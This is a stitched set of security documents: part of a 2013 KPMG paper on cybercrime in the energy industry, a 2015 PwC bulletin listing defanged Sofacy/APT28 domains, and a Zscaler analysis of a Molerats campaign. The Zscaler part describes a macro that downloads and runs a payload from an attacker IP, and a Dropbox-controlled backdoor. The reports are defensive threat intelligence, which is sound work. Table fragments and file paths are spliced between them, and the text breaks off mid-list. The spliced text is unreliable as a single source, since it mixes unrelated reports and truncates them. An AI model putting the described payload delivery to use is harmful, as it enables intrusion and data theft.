The stakes are also bigger for them as they stand to gain a whole lot more of important information.
Eddie Schwartz, chief security officer of the security firm RSA summed it up best during a security conference in San Francisco in 2012 when he said: The attacks by them (Anonymous) pale in comparison to the nation-state stuff and the criminal element The more eyes, the greater chance of success (for an attack), which accurately depicts the cyber environment nowadays.
Page 8 Figure 3: Methods of attack Infection with malicious malware Compromised web applications 14.7 23.3 28.7 16.7 5.3 11.3 5 0 10 15 20 25 30 Phishing Social engineering Unknown Other Source: 2012 KPMG paper A nuanced perspective on cybercrime.
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Impact on companies who fall prey to such attacks The objectives of cyber attacks can be divided into two distinct categories.
These are misappropriation and theft of intellectual property, financial data or other confidential information for monetary gain or to gain a competitive edge corruption or disturbance of key business assets and processes for strategic purposes or to make an activism statement, However, the actual impact on victim companies could be much broader and more profound.
More specifically, direct consequences of such attacks comprise disruption of business and production processes, unauthorised access to monetary operation, loss of intellectual property, disclosure of merger-and-acquisition deals, identity theft and compromising of customer data.
Such attacks can also adversely affect third party partners in the industrial chain.
(
See Figure 4 below).
But all the above consequences are just the tip of the iceberg.
Deeper financial and reputational impact further includes loss of competitive advantage in accessing new fields, failure to keep current clients and investors, losing deals and disputes (or winning them on unfavourable terms), regulatory fines, liability lawsuits, share price drops, costs involved in fixing business relationships and even negative international publicity.
In addition, the company would very likely be forced to spend more than usual to fix systems and repair damages.
It is also very likely that costly fees will be incurred from services of third party experts and consultants for mitigation and recovery services.
There could also be forced expenditure on personnel change, organisational restructuring and additional training.
Page 9 Figure 4: Purpose of attack 30 15 Access to third party information or systems Access to money 16.6 14.6 30.0 16.1 12.1 10.6 0 5 10 20 25 Disruption of business and production processes Obtaining information concerning intellectual property Obtaining information concerning mergers acquisitions Other Source: 2012 KPMG paper A nuanced perspective on cybercrime.
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The Obama administration submitted a cyber security proposal to Congress last May to outline its priorities for cyber security and to press lawmakers to pass comprehensive legislation to protect critical U.S. infrastructure that powers the Internet, utilities, and other control systems that are vulnerable to attack.
Feds Simulate Crippling Cyber security Attack On NYC Electricity [March 2012] Advances in technology and mounting concern about the potential for a cyber attack to damage power stations, water-treatment plants and other critical systems have prompted senior officials to seek a more robust role for the departments Cyber Command.
For one thing, cyber attacks can take place in milliseconds.
The assailant may be unknown.
The attack route may be hard to trace, crossing multiple countries.
Pentagon proposes more robust role for its cyber-specialists [August 2012] Iran is to move key ministries and state bodies off the worldwide internet next month in an effort to shield them behind a secure computer wall from disruptive cyber attacks like the Stuxnet and Flame viruses.
The establishment of the national intelligence network will create a situation where the precious intelligence of the country wont be accessible to these powers.
Iran to unplug from Web to escape Internet monopoly [August 2012] The key is to be able to understand the motives behind a cyber attack.
It must be made clear the cyber world is no longer playing in the minor league, but rather the major league with players who potentially have access to unlimited resources and endless patience in achieving an aforementioned objective.
On a second note it is extremely necessary to conduct thorough analysis of risks and have a clear understanding of the different asset value perception.
What seems of little value to one firm might be worth a lot more to attackers who have a totally different perspective or who are planning an attack on a chain of companies.
As a result, consideration should be given to the relationship between the costs for implementing detective controls and costs of incidents.
The latter should include indirect damages incurred on consumer confidence and reputation, the two most valuable assets of a company.
A 2012 survey titled A nuanced perspective on cybercrime which was conducted by KPMG in Netherlands, Page 10 The need for action However, effective awareness requires continuous effort to remain vigilant.
In this aspect the financial institutions seem to be doing a better job in understanding the potential enemy compared to the other industries, including the ENR sector.
How companies can cope stated that out of the 170 responding organisations under various sectors including ENR, approximately 19 percent of them spend more than 1.5 million euros on cybercrime prevention, detection and response per year.
Thirdly, whether short term measures or long term controls have been implemented, the upper management of companies should never be complacent and believe that they enjoy 100 percent security.
The IT landscape in many modern organisations is simply often too complex for complete protection.
The same 2012 KPMG survey also revealed that 45 percent of companies experienced attempts of cybercrime attacks in 2011.
In addition, 55 percent of respondents were unsure of whether they can effectively respond to a cybercrime attack, and only 20 percent said they can respond effectively to an attack but unfortunately do not have an attack response plan in place.
Among all the responding corporates, approximately 30 percent have forensic capabilities as a control and only 55 percent have central incident and event monitoring capabilities.
Most importantly, it is vital for the management to set the correct tone.
KPMGs experience with clients has shown over and over again that security is largely a management issue.
The survey also showed that more than 75 percent of respondents believe that fighting cybercrime goes beyond installing the needed technology to curb it.
Some 90 percent of them also agree that cybercrime should be discussed at the board level.
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So are companies in the ENR industry up to the challenge?
Most respondents from the ENR sector of the same KPMG survey do not think so.
They believe that hackers are more likely to win in this sector compared to other industries.
If a company does not consider itself to be ready, actions must be taken.
Management should endorse prevention efforts and start seeking a structured approach.
There also has to be effective use of security monitoring and seamless cooperation between the different parties involved so that knowledge and expertise can be shared among government, business communities, IT security groups and even cross-border organisations.
Beyond the prevention of incidents, timely detection and an adequate Page 11 response are also critical.
If there is any major gap or deficiency in the policies, procedures and tools of a company, the worst time to discover these would be when a cyber security incident is already set on its course.
In terms of short-term actions, the company could perform risk analysis from the perspective of an attacker, identify and monitor critical assets as well as begin implementing a standby incident response team.
In the long run, companies should strive for cost-effective control of the cyber environment by addressing the domains of people, processes and technology.
Yet, even the most comprehensive security control system cannot guarantee the complete prevention of cyber incidents.
An incident response plan and an emergency action plan is therefore also of paramount value in the proper handling of a security compromise and reducing the subsequent damage.
If a thorough and detailed plan is not available, the very least an organisation should do is to be familiar with some basic concepts and simple primary actions to respond to an incident.
(
See Figure 5 below).
This helps the company achieve more effective business resilience, which is important especially for the protection of the most critical assets.
The fundamentals of cybersecurity are probably best summed up by Ron Ross, National Institute of Standards and Technology (NIST) Senior Fellow, who said during a launch of NISTs latest guidance on security controls: The fundamentals of cyber security I call it the physics of security dont change over time how we apply those controls ... is a little bit different, but the same fundamentals.
Figure 5: Call for action Short term action prevention Perform risk analysis from perspective of attackerPrevent Respond Detect Short term action response Implement standby incident reponse organisation Short term action detection Identify and monitor critical assets Source: 2012 KPMG paper A nuanced perspective on cybercrime.
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5 The Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) is part of the US Department of Homeland Security (DHS) and works to reduce risks within and across all critical infrastructure sectors.
Page 12 Suggested frameworks Given the shifting perspective of the defence against cybercrime, a more modern approach to cyber security therefore also focuses on the perspective of the criminals.
In terms of risk assessment, the organisation must not only consider itself as an attractive end target, but also consider its part in the supply chain.
It should also not view itself as one entity that should be protected, but as a collection of processes, users and IT infrastructure.
Companies should focus on being well informed of (the character) of possible threats and invest in a proper defence.
They should not do this in an isolated way, but rather use the knowledge and experience of colleagues in both the public and private sector.
A joint response is essential for protection against cyber espionage, terrorism, crime and disruption of information and communication systems.
ICS-CERT Recommendation With respect to the industrial control system, ICS-CERT5 suggests a proactive security model as depicted in the Figure 6 below.
This model can be further complemented with a more detailed five-step approach in protecting information and records: Obtain executive sponsorship, establish a team, and determine the teams goal, objectives, and milestones - ensuring that these efforts are aligned with the goals of the business.
Develop a training and awareness campaign.
Policy content should be comprehensive, consistent and implemented with process changes and the introduction of appropriate controls and metrics to measure effectiveness and compliance.
Assess the current state of the organisations information protection efforts.
Classifying the sensitivity of information should be a key goal.
Design the desired state of information integrity protection, with the goal of establishing improved handling and protection practices that achieve policy requirements, lower business risk, and increase productivity.
Implement the desired state.
Enhanced process and data workflows, controls, and processes are a key outcome.
The result is a programme that helps leaders ensure the risk-based protection of information assets.
Figure 6: Proactive Security Model Risk Assessment Identify/Remove Vulnerabilities Digital Asset ID Profile Model Map Architecture Standardise Policies Training Incident Response Proactive Security Model 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
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KPMG in the Netherlands provides the banks with an update on the trends in cybercrime threats and potential solutions twice a year.
KPMG employs a global network of hundreds of information security specialists, which reaches virtually all major financial institutions worldwide.
Attack patterns observed at other banks and solutions applied by these institutions help to shape an image of upcoming attacks and solutions relevant for Company B.
Knowledge of the latest cybercrime attack trends and defence measures helps Company B to update the banks defences on time in order to adequately respond to attacks.
Real life case studies There have been quite a few cases worldwide where KPMG applied the use of frameworks and helped different clients with their needs in achieving the goal of cyber security.
Page 13 In the Dutch market, joint efforts of the financial sector are pretty successful in boosting awareness.
Aside from cooperation between financial institutions and the Government, KPMG also actively shares experiences as part of the focused joint efforts.
Generally, there are three types of security controls: prevention, detection and response.
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Company Z is a well-known company in the oil, gas and natural resources industry.
KPMG firms teamed with a technology partner provider to supervise one of the largest global implementations of a security monitoring platform.
The platform correlates information about thousands of security events from numerous systems spanning across the globe.
A list of the most relevant cybercrime risks for Company Z was drafted in close cooperation with the organisation.
For each risk, a set of detection rules was defined.
The ability to adequately respond is mainly achieved by properly established processes and governance.
KPMG advised on governance structure, engineered new incident response processes and established training programmes for security personnel.
Page 14 In general, preventive controls are more popular than detective controls whereas detective controls are used more often than responsive controls, as in this case of how KPMG helped a company in the ENR industry.
However, as discussed earlier, incidents cannot be avoided 100 percent of the time.
This implies that detection and response are equally important and are thus the areas with the biggest room for improvement.
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Page 15 Company A was informed by a whistleblower that an attacker gained access to the companys website and/or closed environment.
In response to this news the website was taken offline and KPMG was asked to assist.
A collaboration of Forensic technology and IT security experts captured forensically sound images of the most critical servers to make sure no traces or evidence were lost.
The images were analysed for traces in system files and properties, logs from firewalls were secured and analysed, KPMG also analysed all traffic to and from the compromised servers.
The analysis showed that the perpetrator succeeded in creating and uploading several files to the web server that contained malicious code, allowing the perpetrator to send commands to the server from a remote location.
KPMG helped the client by implementing remedial procedures and additional security measures, thus mitigating the risk of further damage and bad publicity.
Below is another example illustrating KPMGs experience in adequate and systematic response after a security incident has taken place: Even if it is within an organisation itself, one way of improving the handling of specific cyber incidents related to industrial control systems would be to gather a group of staff to conduct brainstorming and collaboration exercises During such sessions, staff from various departments will get to receive more adequate cyber security training, initiate effective inter-departmental interactions, and update antiquated policies and procedures.
They can also get to identify and fix any security flaws found in the system, so as to create a corporate and organisational environment that is more resistant to cyber attacks.
2013 KPMG International Cooperative (KPMG International), a Swiss entity.
Member firms of the KPMG network of independent firms are affiliated with KPMG International.
KPMG International provides no client services.
No member firm has any authority to obligate or bind KPMG International or any other member firm vis--vis third parties, nor does KPMG International have any such authority to obligate or bind any member firm.
All rights reserved.
Page 16 Conclusion The battle against cyber crime is one which is difficult to win.
From the perspective of the Asia Pacific region, we understand that data security is not an easy concept for most business leaders to fully grasp.
In part, this is because many organisations do not have a clear view on the actual value of their data and as a result, tend to follow a one-size-fits-all approach to data security.
At the same time, organisations in this region have also seen a gradual migration of their corporate value away from physical assets (such as facilities, products and people) towards digital assets (such as bid information, technology designs or customer data).
Therefore, most businesses have robust crisis plans for events like floods, fires or sudden executive departures, but have very few for digital security issues.
An organisation in the ENR industry must stay as up-to-date as possible with security issues and set in place effective security measures.
Beyond doing so, an ENR organisation must evaluate itself through the eyes of potential attackers so as to identify and protect parts which represent the highest substantial value.
The importance of executive leadership and support in developing a data security strategy cannot be overstated.
The risk of data loss should be a board-level issue and not a challenge isolated to the IT department and risk managers.
This means that executives must not only walk the walk when it comes to complying with protocols, but also actively participate in the development of security to ensure that the rules reflect the priorities of the business.
Most importantly, executives must strive to institutionalise continuous improvement mechanisms to ensure that they learn from hard-earned lessons of the past.
Should a cyber security transformation be undertaken, the five recommended objectives would be to Prevent, to Prepare, to Protect, to Remediate and to Integrate and Transform.
However, given the scope and complexity of the challenge, it is not surprising that most executives are left wondering how best to approach the issue without dampening productivity or expending scarce resources.
It is important that executives in the Asia Pacific region balance a cautious approach to IT security with the downside and damage that can be caused by the lack of being able to carry on business as normal and the loss of confidential and sensitive information.
2013 KPMG International Cooperative (KPMG International), a Swiss entity.
Member firms of the KPMG network of independent firms are affiliated with KPMG International.
KPMG International provides no client services.
No member firm has any authority to obligate or bind KPMG International or any other member firm vis--vis third parties, nor does KPMG International have any such authority to obligate or bind any member firm.
All rights reserved.
References Internal A NUANCED perspective on cybercrime Shifting viewpoints call for action Publish and be Damned KPMG Global Energy Institute Shamoon and Cyber Security in the Energy Industry Information Integrity Improving and Protecting Data Quality, Access, and Value http://www.kpmg.com/TT/en/IssuesAndInsights/ArticlesPublications/Documents/ Nuanced-Perspective-on-Cybercrime-Art.pdf http://www.kpmg.com/UK/en/IssuesAndInsights/ArticlesPublications/Documents/ PDF/Advisory/Forbes-Survey-publish-and-be-damned.pdf http://www.visualwebcaster.com/imageSlides/90364/GEI20Presentation20 11081220(Color).pdf http://www.kpmg.com/US/en/IssuesAndInsights/ArticlesPublications/Documents/ information-integrity.pdf Page 17 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
Member firms of the KPMG network of independent firms are affiliated with KPMG International.
KPMG International provides no client services.
No member firm has any authority to obligate or bind KPMG International or any other member firm vis--vis third parties, nor does KPMG International have any such authority to obligate or bind any member firm.
All rights reserved.
External FBI Combating Threats in the Cyber World Outsmarting Terrorists, Hackers, and Spies Fact Sheet: Safeguarding the U.S.
|
174
|
Governments Classified Information and Networks CF Disclosure Guidance: Topic No.
| 37,056
| 37,193
| 138
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data/reports_final/0174.txt
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Governments Classified Information and Networks CF Disclosure Guidance: Topic No.
2 INDUSTRIAL CONTROL SYSTEMS CYBER EMERGENCY RESPONSE TEAM : Monthly Monitor April 2012 INDUSTRIAL CONTROL SYSTEMS - CYBER EMERGENCY RESPONSE TEAM : Monthly Monitor September 2012 Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies ICS-TIP-12-146-01ATARGETED CYBER INTRUSION DETECTION AND MITIGATION STRATEGIES Security and Privacy Controls for Federal Information Systems and Organizations National Infrastructure Protection Plan - Energy Sector, published by the Department of Homeland Security in June 2006 Ron Ross on Revised Security Controls Global Energy Cyberattacks: Night Dragon Security To Industry Time To Wake Up 7 Steps to ICS Security Iran Blamed for Cyberattacks U.S. looks into claims of security flaw in Siemens gear Iran to unplug from Web to escape Wests Internet monopoly http://www.fbi.gov/news/speeches/combating-threats-in-the-cyber-world- outsmarting-terrorists-hackers-and-spies http://www.whitehouse.gov/the-press-office/2011/10/07/fact-sheet-safeguarding-us- governments-classified-information-and-network http://sec.gov/divisions/corpfin/guidance/cfguidance-topic2.htm http://www.us-cert.gov/control_systems/pdf/ICS-CERT_Monthly_Monitor_Apr2012.
pdf http://www.us-cert.gov/control_systems/pdf/ICS-CERT_Monthly_Monitor_Sep2012.
pdf http://www.us-cert.gov/control_systems/practices/documents/Defense_in_Depth_ Oct09.pdf?
http://www.us-cert.gov/control_systems/pdf/ICS-TIP-12-146-01A.pdf http://csrc.nist.gov/publications/drafts/800-53-rev4/sp800-53-rev4-ipd.pdf http://www.dhs.gov/xlibrary/assets/nipp_snapshot_energy.pdf http://www.govinfosecurity.com/articles.php?art_id4572 http://www.mcafee.com/sg/resources/white-papers/wp-global-energy-cyberattacks- night-dragon.pdf http://www.isssource.com/security-toindustry-time-to-wake-up/ http://www.isssource.com/wp-content/uploads/2012/02/022912WP-7-Steps-toICS- Security-v1.0.pdf http://online.wsj.com/article/SB10000872396390444657804578052931555576700.
html http://www.reuters.com/article/2012/08/22/ctech-us-cybersecurity-siemens- idCABRE87L02F20120822 http://www.rt.com/news/iran-internet-intranet-security-938/ Page 18 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
Member firms of the KPMG network of independent firms are affiliated with KPMG International.
KPMG International provides no client services.
No member firm has any authority to obligate or bind KPMG International or any other member firm vis--vis third parties, nor does KPMG International have any such authority to obligate or bind any member firm.
All rights reserved.
Page 19 External Iranian state goes offline to dodge cyber- attacks Pentagon proposes more robust role for its cyber-specialists RSA 2012: Aging industrial control systems increasingly vulnerable to cyberattack Federal Cybersecurity Incidents Rocket 650 In 5 Years (October 04, 2011 01:25 PM) Feds Simulate Crippling Cybersecurity Attack On NYC Electricity The Bright Side of Being Hacked Connecting The Dots After Cyberattack On Saudi Aramco Virus Shuts Rasgas Office Computers Cyber attack takes Qatars RasGas offline Definition Spear Phishing CYBER RISK AND THE ENERGY INDUSTRY Library: Energy and Utilities Industry: Threats, Needs, and the Aanval Solution http://www.telegraph.co.uk/news/worldnews/middleeast/iran/9453905/Iranian- state-goes-offline-to-dodge-cyber-attacks.html http://www.washingtonpost.com/world/national-security/pentagon-proposes- more-robust-role-for-its-cyber-specialists/2012/08/09/1e3478ca-db15-11e1-9745- d9ae6098d493_story.html http://www.infosecurity-magazine.com/view/24384/ http://www.informationweek.com/government/security/federal-cybersecurity- incidents-rocket-6/231700231?itcedit_in_body_cross http://www.informationweek.com/government/security/feds-simulate-crippling- cybersecurity-at/232602280 http://www.nytimes.com/2012/03/05/technology/the-bright-side-of-being-hacked.
html http://bits.blogs.nytimes.com/2012/08/27/connecting-the-dots-aftercyberattack-on- saudi-aramco/ http://www.bloomberg.com/news/2012-08-30/virus-shuts-rasgasoffice-computers- lng-output-unaffected-1-.html http://www.arabianbusiness.com/cyber-attack-takes-qatar-s-rasgasoffline-471345.
html http://searchsecurity.techtarget.com/definition/spear-phishing http://incelaw.com/ourknowledge/publications/cyber-risk-and-the-energy-industry http://wiki.aanval.com/wiki/Library:Energy_and_Utilities_Industry:_Threats,_ Needs,_and_the_Aanval_Solution 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
Member firms of the KPMG network of independent firms are affiliated with KPMG International.
KPMG International provides no client services.
No member firm has any authority to obligate or bind KPMG International or any other member firm vis--vis third parties, nor does KPMG International have any such authority to obligate or bind any member firm.
All rights reserved.
Page 20 KPMGGEC The KPMG Global Energy Institute (GEI): Launched in 2007, the GEI, is a worldwide knowledge- sharing platform detailing insights into current issues and emerging trends within the Oil Gas and Power Utilities sectors.
Energy professionals will have access to valuable thought leadership, studies, events and webcasts, about key industry topics.
A regional focus to the GEI provides decision makers tailored insight within the Americas, Asia Pacific and the Europe, Middle East Africa regions.
The GEI strives to arm professionals with new tools to better navigate the changes in this dynamic arena.
To become a member of the GEI or for more information please visit kpmg.com/energyaspac The KPMG Global Energy Conference: The KPMG Global Energy Conference (GEC) is KPMGs premier event for financial executives in the energy industry.
Presented by the KPMG Global Energy Institute, these conferences are held in both Houston and Singapore and bring together energy financial executives from around the world in a series of interactive discussions with industry luminaries.
The goal of these conferences is to provide participants with new insights, tools, and strategies to help them manage industry-related issues and challenges.
For more information please visit kpmg.com/energyaspac Global Power Conference The KPMG Global Power Utilities Conference is KPMGs premier event for CEOs, divisional heads and financial executives of the power and utilities sector presented by KPMGs Global Energy and Natural Resources Practice.
For inquiries regarding the KPMG Global Power Utilities Conference please contact the conference organizing team at gpckpmg.com or visit kpmg.com/powerconference 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
Member firms of the KPMG network of independent firms are affiliated with KPMG International.
KPMG International provides no client services.
No member firm has any authority to obligate or bind KPMG International or any other member firm vis--vis third parties, nor does KPMG International have any such authority to obligate or bind any member firm.
All rights reserved.
The views and opinions expressed herein are those of the author and do not necessarily represent the views and opinions of KPMG LLP.
The information contained herein is of a general nature and is not intended to address the circumstances of any particular individual or entity.
The information contained herein is of a general nature and is not intended to address the circumstances of any particular individual or entity.
Although we endeavour to provide accurate and timely information, there can be no guarantee that such information is accurate as of the date it is received or that it will continue to be accurate in the future.
No one should act upon such information without appropriate professional advice after a thorough examination of the particular situation.
2013 KPMG International Cooperative (KPMG International), a Swiss entity.
Member fi rms of the KPMG network of independent fi rms are affi liated with KPMG International.
KPMG International provides no client services.
No member fi rm has any authority to obligate or bind KPMG International or any other member fi rm vis--vis third parties, nor does KPMG International have any such authority to obligate or bind any member fi rm.
All rights reserved.
Contact us Pek Hak Bin Partner Head of Energy Natural Resources Practice T: 65 6411 8138 E: pekhbkpmg.com.sg Brett Hall Partner, Management Consulting Singapore T: 65 6411 8335 E: bretthallkpmg.com.sg Lyon Poh Partner, Management Consulting Singapore T: 65 6411 8899 E: lpohkpmg.com.sg Rajnish Kapur Director, Management Consulting Singapore T: 65 6507 1973 E: rajnishkapurkpmg.com.sg KPMG Services Pte Ltd 16 Raffl es Quay 22-00 Hong Leong Building Singapore 048581 T: 65 6213 3388 F: 65 6223 3118 kpmg.com/energyaspac kpmg.com/social media
Cyber Threat Operations Tactical Intelligence Bulletin Date: 2015-04-20 Contact: threatintelligenceuk.pwc.com Reference: CTO-TIB-20150420-01A TLP: WHITE Sofacy II Same Sofacy, Different Day Tactical Intelligence Bulletin Cyber Threat Operations Background There has been some recent news regarding further activities of a group variously described as Sofacy1.
We are releasing this flash bulletin containing network indicators to aid security professionals in detecting this activity.
Please contact us on threatintelligenceuk.pwc.com and we would be happy to send you a TLP- GREEN version of this report containing further indicators that you are welcome to distribute further in line with US-CERT definition for TLP.
Recent Reports In the past few days Trend Micro and FireEye have both released reports relating to similar activity: Trend 2 described spear phishes containing links to malicious websites that deploy malware through apparent browser exploits and phishing for web-mail credentials.
FireEye3 have recently described the use of CVE-2015-3043 and CVE-2015-1701 exploits in suspected Sofacy attacks.
Interestingly, despite the use of zero-day exploits for delivery, there is some evidence that the attackers continue to use old variants of their malware4.
PwC Threat Intelligence subscribers can refer to CTO-TIB-20150306B published in March 2015 for further details on some of the novel methods we are seeing Sofacy currently employ and the wider context to this activity.
Please review our earlier bulletin5 or contact us for further information on analysis, targeting and recommended actions relating to Sofacys credential phishing.
Network Indicators Below we list a number of domains which you may wish to review network logs for.
Typically registered domains are employed for phishing and/or malware command and control.
This is a redacted list of domains that are likely related to Sofacy and we note that related domains have been observed by others6, as well as in the cited reports.
1 Other names include APT28, Fancy Bear, Sednit and Pawn Storm.
2 See http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up-its-activities- targets-nato-white-house/ 3 See https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html 4 For example see https://www.virustotal.com/en/file/67ecc3b8c6057090c7982883e8d9d0389a8a8f6e8b00f9e9b73c45b008241322 /analysis/ 5 See http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing-.pdf 6 See https://twitter.com/ThreatConnect/status/589168650759884800 http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up-its-activities-targets-nato-white-house/ http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up-its-activities-targets-nato-white-house/ https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html https://www.virustotal.com/en/file/67ecc3b8c6057090c7982883e8d9d0389a8a8f6e8b00f9e9b73c45b008241322/analysis/ https://www.virustotal.com/en/file/67ecc3b8c6057090c7982883e8d9d0389a8a8f6e8b00f9e9b73c45b008241322/analysis/ http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing-.pdf https://twitter.com/ThreatConnect/status/589168650759884800 Tactical Intelligence Bulletin TLP: WHITE Cyber Threat Operations Appendix 1 Domains TLP WHITE defencereview[.
]net brnlv-gv[.
]eu militaryobserver[.
]net netassistcache[.
]com asus-service[.
]net aolnets[.
]com natopress[.
]org natopress[.
]com defencereview[.
]eu intelsupport[.
]net globalnewsweekly[.
]com osce-oscc[.
]org enisa-europa[.
]com enisa-europa[.
]org techcruncln[.
]com nato-hq[.
]com iacr-tcc[.
]org nato-int[.
]com nato-info[.
]com bmlv-gv[.
]eu foreignreview[.
]com mediarea[.
]org osce-military[.
]org europeanda[.
]com softupdates[.
]info settings-yahoo[.
]com settings-live[.
]com delivery-yahoo[.
]com privacy-yahoo[.
]com privacy-live[.
]com westinqhousenuclear[.
]com webmail.westinqhousenuclear[.
]com Tactical Intelligence Bulletin TLP: WHITE Cyber Threat Operations References http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using- custom-exploit-kit/ http://pwc.blogs.com/cyber_security_updates/2014/10/phresh-phishing-against- government-defence-and-energy.html http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing-.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white- papers/wp-operation-pawn-storm.pdf https://www.fireeye.com/resources/pdfs/apt28.pdf http://pwc.blogs.com/cyber_security_updates/2014/12/apt28-sofacy-so-funny.html http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm- ramps-up-its-activities-targets-nato-white-house/ https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/ http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/ http://pwc.blogs.com/cyber_security_updates/2014/10/phresh-phishing-against-government-defence-and-energy.html http://pwc.blogs.com/cyber_security_updates/2014/10/phresh-phishing-against-government-defence-and-energy.html http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing-.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf https://www.fireeye.com/resources/pdfs/apt28.pdf http://pwc.blogs.com/cyber_security_updates/2014/12/apt28-sofacy-so-funny.html http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up-its-activities-targets-nato-white-house/ http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up-its-activities-targets-nato-white-house/ https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html Tactical Intelligence Bulletin TLP: WHITE Cyber Threat Operations The information contained in this document has been prepared as a matter of interest and for information purposes only, and does not constitute professional advice.
You should not act upon the information contained in this email without obtaining specific professional advice.
No representation or warranty (express or implied) is given as to the accuracy or completeness of the information contained in this email, and, to the extent permitted by law, PricewaterhouseCoopers LLP, its members, employees and agents do not accept or assume any liability, responsibility or duty of care for any consequences of you or anyone else acting, or refraining to act, in reliance on the information contained in this email or for any decision based on it.
1/22 New espionage attack by Molerats APT targeting users in the Middle East zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east Introduction In December 2021, the ThreatLabz research team identified several macro-based MS office files uploaded from Middle Eastern countries such as Jordan to OSINT sources such as VT.
These files contained decoy themes related to geo-political conflicts between Israel and Palestine.
Such themes have been used in previous attack campaigns waged by the Molerats APT.
During our investigation we discovered that the campaign has been active since July 2021.
The attackers only switched the distribution method in December 2021 with minor changes in the .NET backdoor.
In this blog, we will share complete technical analysis of the attack chain, the C2 infrastructure, threat attribution, and data exfiltration.
The targets in this campaign were chosen specifically by the threat actor and they included critical members of banking sector in Palestine, people related to Palestinian political parties, as well as human rights activists and journalists in Turkey.
ThreatLabz observed several similarities in the C2 communication and .NET payload between this campaign and the previous campaigns attributed to the Molerats APT group.
Additionally, we discovered multiple samples that we suspect are related to Spark backdoor.
We have not added the analysis of these samples in this blog, but they were all configured with the same C2 server, which we have included in the IOCs section.
https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east 2/22 Threat attribution We have attributed the attack to Molerats APT group based on following observations: 1.
Use of open-source as well as commercial packers for the backdoor (ConfuserEx, Themida) 2.
Targeting middle-east region 3.
Using Dropbox API for entire C2 communication 4.
Using RAR files for backdoor delivery as well as in later stages 5.
Using other legit cloud hosting services like Google Drive to host the payloads 6.
Overlap of domain SSL Certificate thumbprint observed on current attack infrastructure with domains used by Molerats APT group in the past 7.
Overlap of Passive DNS resolution of domain observed on current attack infrastructure with the IP used by Molerats APT group in the past Attack flow Figure 1 below illustrates the new attack chain.
Figure 1: Attack chain Decoy content MD5: 46e03f21a95afa321b88e44e7e399ec3 https://www.zscaler.com/cdn-cgi/image/formatauto/sites/default/files/images/blogs/Molerats20-20Dec202021/Attack20Flow.jpg 3/22 Note: Please refer Appendix section for additional decoy contents 4/22 Technical analysis For the purpose of technical analysis we will use the document with MD5: 46e03f21a95afa321b88e44e7e399ec3 [] Stage-1: Macro code The macro code is not complex or obfuscated.
It simply executes a command using cmd.exe which in turn performs the following operations: 1.
Executes a PowerShell command to download and drop the Stage-2 payload from the URL http://45.63.49[.
]202/document.html to the path C:\ProgramData\document.htm.
2.
Renames document.htm to servicehost.exe 3.
Executes servicehost.exe Figure 2 below shows the relevant macro code Figure 2: Macro code [] Stage-2: servicehost.exe Static analysis Based on static analysis, we can see that the binary is .NET-based and is obfuscated using the ConfuserEx packer.
It masquerades itself as a WinRAR application by using the icon and other resources (which also contains static strings) from the legit WinRAR application.
Figure 3: Shows the binary icon and other static information Dynamic analysis The main function of the binary is the standard ConfuserEx function which is responsible for loading the runtime module koi that is stored in encrypted form using a byte array.
Once the module is loaded, the main function resolves the modules entry point function using the metadata token and invokes it by providing required parameters.
Figure 4: Code snippet loading the runtime module and invoking its entry point function 5/22 The runtime module (koi) on analysis is found to be a backdoor.
Before calling the main function of the module, the code from within the constructor is called which creates a new thread that regularly monitors the presence of a debugger.
6/22 Figure 5: Code snippet of debugger monitoring function Once the debugger monitor thread is created we get the code execution flow to the main function of the module which ultimately leads to the backdoor execution.
Within the main function the backdoor performs following operations: 1.
Collects the machine manufacture and machine model information using WMI which is used for execution environment checks and is later exfiltrated to C2 server.
2.
Checks if it should execute in the current execution environment.
3.
Creates a mutex with the name of executing binary.
4.
Checks if the mutex is created successfully.
5.
Determines if it is executed for the first time using the registry key value HKCU/Software/name_of_executing_binary/name_of_executing_binary.
6.
If the registry key doesnt exist, the code flow goes via a mouse check function which executes the code further only if it detects a change in either of the mouse cursor coordinates.
In the end, the mouse check function also creates the same registry key.
Figure 6: Main function of backdoor [] Network communication From the main function the final code flow reaches the function which starts the network communication.
Since the backdoor uses Dropbox API for entire C2 communication and data exfiltration, it first extracts the primary Dropbox account token which is stored in encoded form within the binary.
Figure 7 below describes the format and shows the encoded string that contains the Dropbox account token.
Figure 7: Encoded string Executing further the backdoor collects the following information from victim machine: 7/22 1.
Machine IP address: By making a network request to https://api.ipify.org 2.
UserName: From the environment variable 3.
|
175
|
HostName: Using the API call Dns.
| 37,194
| 37,244
| 51
|
data/reports_final/0175.txt
|
HostName: Using the API call Dns.
GetHostName() The collected information is then processed and stored inside a variable named UserInfo by performing following operations: 1.
Concatenation (IPUserNameHostName) 2.
Base64 string encode 3.
